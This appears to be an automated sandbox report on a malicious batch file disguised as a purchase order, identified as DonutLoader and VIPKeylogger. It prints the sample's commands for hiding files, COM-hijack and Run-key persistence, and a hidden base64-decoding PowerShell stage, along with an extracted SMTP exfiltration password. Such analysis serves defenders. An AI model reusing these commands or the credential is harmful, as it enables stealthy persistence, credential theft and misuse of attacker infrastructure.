Analysis

  • max time kernel
    149s
  • max time network
    141s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260130-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260130-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    16/04/2026, 00:27

General

  • Target
    MR#099-PO-0798-04-2026-PR-0797-MQQ0869-Ref-009.bat
  • Size 162KB
  • Sample260416-ar2e4ac15n
  • SHA256 b24eeb43cb6d9e2e6d66f67de9fde5eaee20bb0b488dea17eeb88c7f724b87a9
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Credentials
  • Protocol

    smtp

  • Host

    mail.spacaex.com

  • Port

    587

  • Password

    d!+L4UyRYkucBiOJ

Extracted

Family
  • vipkeylogger

Credentials

Signatures

  • Family: DonutLoader

    DonutLoader is a position-independent code that enables in-memory execution of VBScript, JScript, EXE, DLL files and dotNET assemblies.

  • Family: VIPKeylogger

    VIPKeylogger is a keylogger and infostealer written in C# and it resembles SnakeKeylogger that was found in 2020.

  • Detects DonutLoader 1 IoCs
  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Looks up external IP address via web service 3 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Modifies registry class 6 IoCs
  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 5 IoCs
  • Suspicious use of WriteProcessMemory 11 IoCs
  • Views/modifies file attributes 1 TTPs 1 IoCs
  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
    • Accesses Microsoft Outlook profiles
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: GetForegroundWindowSpam
    • Suspicious use of AdjustPrivilegeToken
    • outlook_office_path
    • outlook_win_path
    PID:3324
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\MR#099-PO-0798-04-2026-PR-0797-MQQ0869-Ref-009.bat"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:996
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\MR#099-PO-0798-04-2026-PR-0797-MQQ0869-Ref-009.bat"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4040
        • C:\Windows\system32\attrib.exe
          attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Bottle.bat"
          4⤵
          • Views/modifies file attributes
          PID:1776
        • C:\Windows\system32\reg.exe
          reg add "HKCU\Software\Classes\CLSID\{67E7F2DB-12FE-3BAA-A99A-51A94336C29B}" /ve /t REG_SZ /d "System Shell Extension" /f
          4⤵
          • Modifies registry class
          PID:4600
        • C:\Windows\system32\reg.exe
          reg add "HKCU\Software\Classes\CLSID\{67E7F2DB-12FE-3BAA-A99A-51A94336C29B}\InProcServer32" /ve /t REG_SZ /d "rundll32.exe" /f
          4⤵
          • Modifies registry class
          PID:4380
        • C:\Windows\system32\reg.exe
          reg add "HKCU\Software\Classes\CLSID\{67E7F2DB-12FE-3BAA-A99A-51A94336C29B}\InProcServer32" /v "ThreadingModel" /t REG_SZ /d "Apartment" /f
          4⤵
          • Modifies registry class
          PID:3312
        • C:\Windows\system32\reg.exe
          reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "Favor" /t REG_SZ /d "cmd.exe /c "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Bottle.bat"" /f
          4⤵
          • Adds Run key to start application
          PID:2232
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -nop -w h -ep bypass -c "$d=Get-Content 'C:\Users\Admin\AppData\Local\Temp\Necessarily.tmp' -Raw;$d=$d-replace'`r',''-replace'`n','';[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($d))|Out-File 'C:\Users\Admin\AppData\Local\Temp\mystery.ps1' -Encoding UTF8"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2964
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe -nop -w h -ep bypass -f "C:\Users\Admin\AppData\Local\Temp\mystery.ps1"
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:3016
          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
            "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\qvse3lto\qvse3lto.cmdline"
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:1668
            • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
              C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES4FA2.tmp" "c:\Users\Admin\AppData\Local\Temp\qvse3lto\CSC565085AF483E4E118F96BCC2B26BA250.TMP"
              6⤵
                PID:4044

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          powershell.exe.log

          • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
          • Size 3KB
          • SHA256 1022ec2fed08ff473817fc53893e192a8e33e6a16f3d2c8cb6fd37f49c938e1e
          • MD5 SHA1 SHA512 TLSH

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 1KB
          • SHA256 ec6cedce7daebbdd39839b7687124ed8e3654902c49d9db44213e10a300f243e
          • MD5 SHA1 SHA512 TLSH

          Necessarily.tmp

          • Path C:\Users\Admin\AppData\Local\Temp\Necessarily.tmp
          • Size 159KB
          • SHA256 23531e8e4a7a772aa5643ad39c590631978442764c03ecf7bb630b8b4a32ceee
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Necessarily.tmp

          • Path C:\Users\Admin\AppData\Local\Temp\Necessarily.tmp
          • Size 23KB
          • SHA256 37b930e528c3cfa4cc3e4262e9af7dde5d1b304735ecbb31a9153e98bac66668
          • MD5 SHA1 SHA512 SSDEEP TLSH

          RES4FA2.tmp

          • Path C:\Users\Admin\AppData\Local\Temp\RES4FA2.tmp
          • Size 1KB
          • SHA256 40c0f5f4ae46b2fcd3b2176b44e290366e066e717b3f1db5dff4066080ff525f
          • MD5 SHA1 SHA512 TLSH

          __PSScriptPolicyTest_vja5k00t.3xr.ps1

          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_vja5k00t.3xr.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512 TLSH

          mystery.ps1

          • Path C:\Users\Admin\AppData\Local\Temp\mystery.ps1
          • Size 119KB
          • SHA256 2c7d444c6f15bf93fe0e6476d89b39f704bfcc848a7727e4c10024fb4bfcff0c
          • MD5 SHA1 SHA512 SSDEEP TLSH

          qvse3lto.dll

          • Path C:\Users\Admin\AppData\Local\Temp\qvse3lto\qvse3lto.dll
          • Size 3KB
          • SHA256 96e8b49c4e445266c5b7bb88077d6606869b456f28807864db2c68571efbc8e0
          • MD5 SHA1 SHA512 TLSH

          Bottle.bat

          • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Bottle.bat
          • Size 162KB
          • SHA256 b24eeb43cb6d9e2e6d66f67de9fde5eaee20bb0b488dea17eeb88c7f724b87a9
          • MD5 SHA1 SHA512 SSDEEP TLSH

          CSC565085AF483E4E118F96BCC2B26BA250.TMP

          • Path \??\c:\Users\Admin\AppData\Local\Temp\qvse3lto\CSC565085AF483E4E118F96BCC2B26BA250.TMP
          • Size 652B
          • SHA256 0dd57dee32bd4083842f38aef967448cf20249e0dc50f1349fdc64c7a1ed02cb
          • MD5 SHA1 SHA512 TLSH

          qvse3lto.0.cs

          • Path \??\c:\Users\Admin\AppData\Local\Temp\qvse3lto\qvse3lto.0.cs
          • Size 836B
          • SHA256 98040e2f4f517f27dc86a0992e5a834487712d53dab006771f4f81778bb11e52
          • MD5 SHA1 SHA512 TLSH

          qvse3lto.cmdline

          • Path \??\c:\Users\Admin\AppData\Local\Temp\qvse3lto\qvse3lto.cmdline
          • Size 369B
          • SHA256 0f9c4f0d18003849629f207f317df3849b217fc7e92c353816c24cd61380eb4b
          • MD5 SHA1 SHA512 TLSH

          memory/1668-75-0x0000025B395B0000-0x0000025B395BC000-memory.dmp

          memory/2964-51-0x000001A439880000-0x000001A43988C000-memory.dmp

          memory/2964-37-0x000001A439900000-0x000001A439910000-memory.dmp

          memory/2964-38-0x000001A439900000-0x000001A439910000-memory.dmp

          memory/2964-46-0x000001A452130000-0x000001A452152000-memory.dmp

          memory/2964-52-0x000001A451F50000-0x000001A451FFD000-memory.dmp

          memory/3016-83-0x0000025CF0C20000-0x0000025CF0CCD000-memory.dmp

          memory/3016-77-0x0000025CD85C0000-0x0000025CD85C8000-memory.dmp

          memory/3016-82-0x0000025CD8520000-0x0000025CD852C000-memory.dmp

          memory/3324-80-0x0000000009BC0000-0x0000000009C0A000-memory.dmp

          memory/3324-78-0x0000000003360000-0x0000000003376000-memory.dmp

          memory/3324-84-0x000000000C990000-0x000000000CB52000-memory.dmp

          memory/3324-85-0x0000000008B20000-0x0000000008B70000-memory.dmp

          memory/3324-86-0x0000000026E80000-0x00000000273A8000-memory.dmp

          memory/4044-72-0x00000252BAB50000-0x00000252BAB5C000-memory.dmp